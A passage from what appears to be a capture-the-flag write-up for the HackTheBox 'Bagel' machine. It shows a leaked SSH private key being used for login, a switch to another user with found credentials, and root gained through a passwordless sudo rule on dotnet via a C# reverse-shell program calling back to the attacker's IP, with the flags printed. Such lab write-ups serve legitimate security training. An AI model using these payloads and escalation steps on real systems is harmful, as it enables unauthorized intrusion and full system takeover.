M24DknenyjrB0l2DsKbBBUT42Rb\nzHYDsq2CatGezy1fx4EGFoBQ5nEl7LNcdGBhqnssQsmtB/Bsx94LCZQcsIBkIHXB8fraNm\niOExHKnkuSVqEBwWi5A2UPft+avpJfAAAAwQC6PBf90h7mG/zECXFPQVIPj1uKrwRb6V9g\nGDCXgqXxMqTaZd348xEnKLkUnOrFbk3RzDBcw49GXaQlPPSM4z05AMJzixi0xO25XO/Zp2\niH8ESvo55GCvDQXTH6if7dSVHtmf5MSbM5YqlXw2BlL/yqT+DmBsuADQYU19aO9LWUIhJj\neHolE3PVPNAeZe4zIfjaN9Gcu4NWgA6YS5jpVUE2UyyWIKPrBJcmNDCGzY7EqthzQzWr4K\nnrEIIvsBGmrx0AAAAKcGhpbEBiYWdlbAE=\n-----END OPENSSH PRIVATE KEY-----",
    "WriteFile": null
  },
  "WriteOrder": null,
  "ReadOrder": null
}
       

Using Sublime’s regex replace, I replaced all the \n with a new line so that the ssh key can be used. You can simply click on replace and select regex then use \n and replace with \n in Sublime.

┌──(root㉿kali)-[~/Downloads/Bagel.htb]
└─# chmod 600 phil.key          
                                                                                             
┌──(root㉿kali)-[~/Downloads/Bagel.htb]
└─# ssh -i phil.key phil@bagel.htb
Last login: Tue Feb 14 11:47:33 2023 from 10.10.14.19
[phil@bagel ~]$ id
uid=1001(phil) gid=1001(phil) groups=1001(phil) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[phil@bagel ~]$ 
[phil@bagel ~]$ ls
user.txt
[phil@bagel ~]$ cat user.txt 
bd8573823fe3e15c44ff6f140b8ebe86
[phil@bagel ~]$ 

We have successfully captured the user flag. Now if you remember, we have observed the dev credentials while doing the source code review of the DB class. Also, When we run the curl command to read the passwd file, we also notice the user developer. So we are going to use that credentials here from the Phil’s account to switch to the developer account using the password we have noticed during the source code review.

[phil@bagel ~]$ su developer
Password: 
[developer@bagel phil]$ id
uid=1000(developer) gid=1000(developer) groups=1000(developer) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[developer@bagel phil]$ 

Using ‘sudo -l’ command to list the developer user permissions or what the user developer is allowed to do, we notice that the user developer is allowed o run the /usr/bin/dotnet command without password and the root user also has the same capabilities.

[developer@bagel share]$ sudo -l
Matching Defaults entries for developer on bagel:
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset,
    env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL QTDIR
    USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION
    LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER
    LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/var/lib/snapd/snap/bin

User developer may run the following commands on bagel:
    (root) NOPASSWD: /usr/bin/dotnet

At this stage, we will have to create a malicious dotnet project which can provide us the reverse shell for the user root. We will have to create a new the above two files into /tmp/shell/ directory on the target machine. Following to that we will run the followign command to capture the reverse shell for the user root.

//Program.cs File
using System;
using System.Diagnostics;


namespace BackConnect
{
    class ReverseBash 
    {

        public static void Main(string[] args) {
            Process proc = new System.Diagnostics.Process();
            proc.StartInfo.FileName = "/bin/bash";
            proc.StartInfo.Arguments = "-c \"/bin/bash -i >& /dev/tcp/10.10.14.9/9090 0>&1\"";
            proc.StartInfo.UseShellExecute = false;
            proc.StartInfo.RedirectStandardOutput = true;
            proc.Start();
            while (!proc.StandardOutput.EndOfStream) {
                Console.WriteLine(proc.StandardOutput.ReadLine());
            }
        }
    }
}

//Shell.csproj File
<Project Sdk="Microsoft.NET.Sdk">
  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net6.0</TargetFramework>
    <ImplicitUsings>enable</ImplicitUsings>
    <Nullable>enable</Nullable>
  </PropertyGroup>
</Project>

Starting the netcat listener on the attacker machine and executing the ‘/usr/bin/dotnet run’ command on the target from developer account.

# nc -lvnp 9090             
listening on [any] 9090 ...
connect to [10.10.14.9] from (UNKNOWN) [10.10.11.201] 44128
[root@bagel shell]# id
id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[root@bagel ~]# ls
ls
anaconda-ks.cfg
bagel
root.txt
[root@bagel ~]# cat root.txt
cat root.txt
917418cd3d28ffb9c03210d0dc7b128b

That’s all.

Thank you,

@ringbuffer